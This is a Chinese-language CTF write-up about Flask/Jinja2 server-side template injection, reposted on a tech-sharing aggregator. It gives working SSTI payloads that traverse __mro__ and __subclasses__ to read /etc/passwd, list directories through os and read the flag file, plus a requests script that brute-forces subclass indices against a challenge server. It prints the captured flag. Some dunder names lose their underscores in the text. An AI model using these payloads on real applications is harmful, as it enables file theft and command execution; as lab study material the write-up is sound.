标签:Web _._ python subclasses mro template ._ os class
flask基础
SSTI:服务器端模板注入(Server-Side Template Injection)
不正确的使用flask中的render_template_string
方法会引发SSTI。
SSTI文件读取/命令执行
在Jinja2模板引擎中,{{}}
是变量包裹标识符。{{}}
并不仅仅可以传递变量,还可以执行一些简单的表达式。
思路:找到父类<type 'object'>
–>寻找子类–>找关于命令执行或者文件操作的模块。
_class_ 返回类型所属的对象
_mro_ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
_base_ 返回该对象所继承的基类
_base_ 和 _mro_ 都是用来寻找基类的_
_subclasses_ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
_init_ 类的初始化方法
_globals_ 对包含函数全局变量的字典的引用
1、查找字符串的类对象
>>>[]._class_
2、寻找基类
>>>[]._class_._mro_
3、寻找可用引用
>>>[]._class_._mro_._subclasses_()
4、利用可用引用
>>>[]._class_._mro_._subclasses_()[40]("/etc/passwd").read()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SHIyw5jH-1637203939287)(https://i.loli.net/2021/11/18/lwLd9IxK2Xo18Ym.png)]
搜索os模块所在的类,并利用os模块
搜索os模块的脚本:
import requests
for i in range(0, 100):
url = "http://111.200.241.244:50349/%7B%7B''.__class__.__mro__[2].__subclasses__()["+str(i)+"].__init__.__globals__%7D%7D"
html = requests.get(url)
html.encoding = 'utf-8'
if 'os' in html.text:
print('os:' + str(i))
break
else:
print(str(i) + '---')
>>>{{[]._class_._mro_[1]._subclasses_()[71]._init_._globals_[“os”].listdir(".")}}/?
查看fl4g文件
>>>{{[]._class_._mro_[1]._subclasses_()[40](“fl4g”).read()
成功获得flag! ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
参考文章:从零学习flask模板注入 - FreeBuf网络安全行业门户
标签:Web,_._,python,subclasses,mro,template,._,os,class 来源: https://blog.csdn.net/weixin_46784800/article/details/121395805
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。